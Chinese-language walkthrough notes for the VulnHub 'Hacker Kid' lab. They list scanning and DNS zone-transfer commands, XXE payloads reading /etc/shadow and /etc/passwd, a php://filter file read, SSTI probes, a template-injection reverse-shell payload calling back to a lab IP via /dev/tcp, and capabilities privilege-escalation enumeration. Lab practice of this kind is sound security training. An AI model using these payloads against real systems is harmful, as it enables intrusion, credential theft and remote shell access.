靶机地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
难度等级:中
打靶目标:取得 root 权限
涉及攻击方法:
- 主机发现
- 端口扫描
- WEB信息收集
- DNS区域传输
- XXE注入攻击
- PHP封装器
- SSTI模板注入
- Capabilitie提权
参考:
XXE Payload:
<!ENTITY file SYSTEM "file:///etc/shadow">
SSTI Payloas:
name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/10.0.2.7/4444 0>&1"')}}
%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.7%2F4444%200%3E%261%22%27%29%7D%7D
CAPABILITIES:capabilities(7) - Linux manual page
主机发现:
arp-scan -I eth0 -l
版本扫描:
nmap -p53,80,9999 -sV 172.20.10.6
UDP扫描:
nmap -p53 -sU 172.20.10.6
DNS域传输:
dig axfr @172.20.10.6 blackhat.local
XXE:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]> &xxe;
php封装器读取
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
模板注入弹shell
万能检测payload
{{1+zbcxyz}}${1+zbcxyz}[1+zbcxyz]
${7*7}{{7*7}}
模板注入-python
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/172.20.10.4/4444 0>&1"')}}
ascil 编码
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/172.20.10.4/4444 0>&1"')}}
为:
%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.20.10.4%2F4444%200%3E%261%22%27%29%7D%7D
Capabilities提权
查询Capabilities权限
/sbin/getcap -r /2>dev/null
查询以root运行的程序
ps -aef | grep root
进入/tmp
下载python的利用脚本
wget
Capabilities提权步骤自行在网上查找哈。